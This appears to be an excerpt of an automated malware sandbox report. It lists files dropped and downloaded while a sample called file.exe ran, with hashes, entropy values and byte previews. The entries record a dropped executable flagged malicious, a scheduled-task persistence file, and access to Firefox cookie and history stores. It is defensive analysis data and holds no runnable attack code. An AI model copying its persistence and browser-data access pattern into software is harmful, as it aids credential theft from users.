Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function k(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir3504_390941407\a56bb930-e399-4585-9cb9-add9353d0878.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	138356
Entropy (8bit):	7.809609231921042
Encrypted:	false
SSDEEP:	3072:AQ++ZdS5+fnwcxO+XwquyeNnmraugZ/1DOoncWD/5q:AQ++/PZmlyeNnh/1SmRq
MD5:	3F6F93C3DCCD4A91C4EB25C7F6FEB1C1
SHA1:	9B73F46ADFA1F4464929B408407E73D4535C6827
SHA-256:	19F05352CB4C6E231C1C000B6C8B7E9EDCC1E8082CAF46FFF16B239D32AA7C9E
SHA-512:	D488FA67E3A29D0147E9EAF2EABC74D9A255F8470CF79A4AEA60E3B3B5E48A3FCBC4FC3E9CE58DFF8D7D0CAA8AE749295F221E1FE1BA5D20DEB2D97544A12BA4
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........q.a.....E..i.t,..7C..7!...`l.-.......T.vH...~.....'..aH..C.oJOE..d..2..$J......I..;.(9l.(..+.N.6.@...].a.n.S.6..=.b.W.\....o...#.~J.W.1..E...2H....S.g0....../.H...y.O8...kE.,..m!..F.D.p......H..s.W ...#.L........Ij.........-..n..\..vD.d.V.....!......[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. ?Eq.M...[6^...+.].G..Y]...7..o.. U...v....P.J...@.E!...B.d..p..i".%............oo.<....~=..!t.+...`....h..LK....0....h...,.R%.....u...._..V_.q:_._..5}.uS\.....x?...~]..C-....S=L...._c.P.B....-M...62.i*.Q.....9.....+S=...../6:...W..ql/g..&j.y..{.."....\|..F....\|....V....w.%t.y..?..&..a..<.n....S+\|..=.ra.....

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Nov 25 01:39:29 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9790038834574886
Encrypted:	false
SSDEEP:	48:870dq6TKmvKHkidAKZdA1oehwiZUklqeh3y+3:87Af88y
MD5:	70B7EE206EA2B5BC3E9B530BB890499F
SHA1:	1749DE27B9126050A5072C9B77B10B190E109E93
SHA-256:	B0574806FDB96ABBDD32770F8B0D79A1CFB599B9E03FC977BE227AD55088CEBE
SHA-512:	A87E0992CD0C35250E961B94A2684434348AC04A21FBD1814DA27EB0FDA7ADC442C0265CA54FF718811DD1304875707124412284091E8D3E5D42A990454C0E30
Malicious:	false
Preview:	L..................F.@.. ...$+.,......p@.>..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.IyY......B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VyY......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VyY......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VyY............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VyY.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........D......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Nov 25 01:39:29 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9961279613901857
Encrypted:	false
SSDEEP:	48:8dV0dq6TKmvKHkidAKZdA1leh/iZUkAQkqehsy+2:8jAfu9Qly
MD5:	CEB2CFD7CF110F1F788AB846B9C933F7
SHA1:	D6C944BFC23524CA8ED83BABA0AFB66835E6B1E9
SHA-256:	93CA46BC8DD867044015380494ECB7863C1E67593EC0B0B511D17DEC03728C88
SHA-512:	25BF03690279222B843DED15925BC36926D3279A3DAAD5000F482316C766A4F90AAF950FA8CC2B08A97B129193A72661999E5840B6ED6CA2728F31FFA62958C0
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....}f@.>..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.IyY......B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VyY......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VyY......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VyY............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VyY.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........D......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Oct 5 07:00:51 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.006831836379504
Encrypted:	false
SSDEEP:	48:8m0dq6TKmvbHkidAKZdA14t5eh7sFiZUkmgqeh7syy+BX:8mAfFngy
MD5:	05B200960AE1630240ABFCDF8EE8F9D6
SHA1:	56B21F0B539AC707612562AED4F226F4A53619E3
SHA-256:	11C9A26C9CECD0D2854D5796A049526F11EC24713FF2B9F9026D278AAC8AFA83
SHA-512:	6B8CEB992A0FCACA97D839BD720829FB2B1AB8FA47D9E92C0A9D9271B623504FCF0AE44B7F28C4B980EC54E243BB0167CE14527C026B7EE2D529F22ECB1218F8
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....C..b...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.IyY......B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VyY......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VyY......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VyY............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VEW.@...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........D......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Nov 25 01:39:29 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9925266686916316
Encrypted:	false
SSDEEP:	48:8l0dq6TKmvKHkidAKZdA16ehDiZUkwqeh4y+R:8lAfFKy
MD5:	E5BB68B02FECAEB60FB48E886D5844F0
SHA1:	F5E7BBF9EAFF309125BAFBF769D4EB54206C1C15
SHA-256:	04B32978284323E8154EE7EC428C04AC9036B13BCD0174D424E1EF07D8430C60
SHA-512:	92FE66ED7F80BCE850194EBB08C5AA00768C294F5FF41A3E0550ACAF5895690D4E7D9754D5606B44C2E350A5AF3E15A431D6F6FB8598D3502D654DCE3CA21BA9
Malicious:	false
Preview:	L..................F.@.. ...$+.,....G.\@.>..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.IyY......B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VyY......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VyY......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VyY............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VyY.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........D......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Nov 25 01:39:29 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.981016355166836
Encrypted:	false
SSDEEP:	48:8y0dq6TKmvKHkidAKZdA1UehBiZUk1W1qehmy+C:8yAf19Gy
MD5:	F4D0F73EF5686273334147D09F745184
SHA1:	E858C08F35C064BA126212D7266A8F6B624B9075
SHA-256:	6A003A15D1BFBE40ECE316F490A8D5E69B9C6FBCF503F4C30F7466F8B2C9711D
SHA-512:	47502A12B077C7E386295F05D19385E770078C02F9D67702ED18D706454E66E9B488F0DD0CBE9A28921E4112AC787D37BAA429A7AFE598B771AE000A4C059B68
Malicious:	false
Preview:	L..................F.@.. ...$+.,....eBk@.>..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.IyY......B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VyY......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VyY......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VyY............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VyY.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........D......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Nov 25 01:39:29 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.993990327935183
Encrypted:	false
SSDEEP:	48:8Oj0dq6TKmvKHkidAKZdA1duTrehOuTbbiZUk5OjqehOuTbgy+yT+:8OjAfCTYTbxWOvTbgy7T
MD5:	A3A62ECB06409360EBA509BF0D25BA5F
SHA1:	457EAC780641CD7329AC8497025AF0BB3C0878CA
SHA-256:	C6ABD9CF3F361822FAF5CC5BB2389598946BCA0417C186FCD6E65FED36ED28C9
SHA-512:	84426490B2315242D9C59D4385EC0203504DFB9B658D571E59EFBEED5D52CBD7C318407B48CF3F0343244692DC8ED3C2C3618C135A1498F765B59508C9FBDB9C
Malicious:	false
Preview:	L..................F.@.. ...$+.,....3.Q@.>..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.IyY......B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VyY......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VyY......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VyY............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VyY.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........D......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\DocumentsFBFCAKKKFB.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1950208
Entropy (8bit):	7.951857617078926
Encrypted:	false
SSDEEP:	49152:B2Ch+L2RZC/+2I/HZlm1mNl4UiJ/KMVNg3KvS:B2xLgZFlqmT4UgNW3
MD5:	C680DCFC26E4B6CA62B7C9334C27D059
SHA1:	68D918CB7C93443C527CDA64E663C7F6007EA87B
SHA-256:	E4BD4AD362C170116F997AE2AA8D132C5C2989199AF906FF2E1931E8409CC1F1
SHA-512:	4537BE10B145A99E43ECBD35C715028B1667653154D166A3E2040F0C06D07B416FDD618CA319C23A62098E100542CD3ACD2CCD4587D3312480100A93EACE4F78
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................L...........@.......................... M.....X.....@.................................W...k.......D.....................L.............................@.L..................................................... . ............................@....rsrc...D...........................@....idata ............................@... ..+.........................@...cmeqxuop.....02.....................@...caylklxg......L.....................@....taggant.0....L.."..................@...................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\DocumentsFBFCAKKKFB.exe
File Type:	data
Category:	dropped
Size (bytes):	290
Entropy (8bit):	3.399599202309985
Encrypted:	false
SSDEEP:	6:bCPY/tX7L1UEZ+lX1CGdKUe6tkHs+Zgty0lB9llyct0:mW7BQ1CGAFBZgtVBH4ct0
MD5:	F8B62C1DE5E09D659963E8C45CE3C6ED
SHA1:	17D21266B6CB15A191E3C71ED905DFEA300004BD
SHA-256:	7401C5BE36B4E12689BC970C0FBDC2510F3E9433488A30C182C549BF2D4EAB3F
SHA-512:	C4E76CBD3121C1A04201754B50421AB1C1052BCF1D4F090482C189658DC9BB79CF2AE4FDB630F7E5EE82D991FE70023F95F32DDED21F71ECBA00F364C59B8E68
Malicious:	false
Preview:	......r..k1N.F.-...F.......<... .....s.......... ....................9.C.:.\.U.s.e.r.s.\.h.u.b.e.r.t.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........H.U.B.E.R.T.-.P.C.\.h.u.b.e.r.t...................0.................).@3P.........................

Chrome Cache Entry: 463

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (807)
Category:	downloaded
Size (bytes):	812
Entropy (8bit):	5.136479060140454
Encrypted:	false
SSDEEP:	24:92/6IqzNthd2BHslgT9lCuABuoB7HHHHHHHYqmffffffo:o/6ZzNQKlgZ01BuSEqmffffffo
MD5:	79E4EC7BAB16CB9C91276E004EA7E947
SHA1:	6AB656B440F0A1CD246663F28F90C628895AE23E
SHA-256:	271DC9F2CAE49A8959DF89A3690E16837E785497AF26AF542A728AA908DB9C5E
SHA-512:	2605B14089BDF241391B6847EC30C937B40A69259EBD806B8971AFF74DE0560AE61031802838EE183F925CE702464ABB9759CE0F9010E6F64984DBCD01B7F539
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["spirit airlines","cricket test match india vs australia","ma meilleure ennemie lyrics translation","monopoly go fortune feast rewards","spacex starlink falcon 9 launch","blue lagoon iceland volcano eruption","ufc 311 main event","the empress season 3"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002}],"google:suggestrelevance":[1257,1256,1255,1254,1253,1252,1251,1250],"google:suggestsubtypes":[[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362]],"google:suggesttype":["QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY"]}]

Chrome Cache Entry: 464

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2586)
Category:	downloaded
Size (bytes):	175021
Entropy (8bit):	5.5519862292821776
Encrypted:	false
SSDEEP:	3072:kEBR0Kx4gWiUIzT2Zu2AuhZNsWGUHUylZBTftnn2N2DIWHUm1CBT46mG3bXnejYR:kKR0oWiUIzy42AuXNsWGUHLlZBTftn2b
MD5:	6ECBEC06F6245882E6D9659E66022263
SHA1:	F86FC301A3851511557DF798AD2BAD2AA4659946
SHA-256:	F7885470D82B8357E5AD03205AC0885DD9FD6F965E550D746627E5E35D4CF66B
SHA-512:	F2EDD978C9DC289B82DC0956503659B92C3B621DD1001DB2C5C34ACA01FFCDE7F84A6B24ED0B30A1EA6B15D937B6DD93FAE1DB97DCE26E9F9FCE1A3F5C43A8DD
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US._3uvDuX1Bhg.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTus2ZfPv70D5bJuGT4XDgi-VtNqjg"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.Yi=function(a){if(4&a)return 4096&a?4096:8192&a?8192:0};_.Zi=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var $i,aj,ej,hj,gj,cj,fj;$i=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};aj=function(){_.Na()};ej=function(a,b){(_.bj\|\|(_.bj=new cj)).set(a,b);(_.dj\|\|(_.dj=new cj)).set(b,a)};hj=function(a){if(fj===void 0){const b=new gj([],{});fj=Array.prototype.concat.call([],b).length===1}fj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.ij=function(a,b,c){a=_.tb(a,b,c);return Array.isArray(a)?a:_.Fc};._.jj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.kj=function(a,b){a===0&&(a=_.jj(a,b));return a\|1};_.lj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.mj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.pj=function(a,b,c,d,e,f,g){a=a.ha;var h=!!(2&b);e=h?1:e;f=!!f;g&&(g=!h);h=_.ij(a,b,d);var k=h[_

Chrome Cache Entry: 465

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 466

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	132981
Entropy (8bit):	5.4353657837638805
Encrypted:	false
SSDEEP:	3072:fpkXyPqO7UX1Hme9kZbs4Voc5fSnXqwQ2i6o:fiyWFHrp4Voc5fSnawQ8o
MD5:	4757E73803478E8DCE009D6BA5192C94
SHA1:	F4B052FB459D635BCEFD96B508E204076C703B09
SHA-256:	0A5B4F6292AA6AF42330DFB5095BA998A4F2A8D813B8FA8138C82C6D8C24F20F
SHA-512:	574B28FE6E96DB6908F04D0B5F8F3836801D7CF0C8C8BD35A7891A19EE348B3685F118636B0BCFBAC1359D3EB6135DDF75D6A3AB817BCAA19CDE377D5F045F92
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 467

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
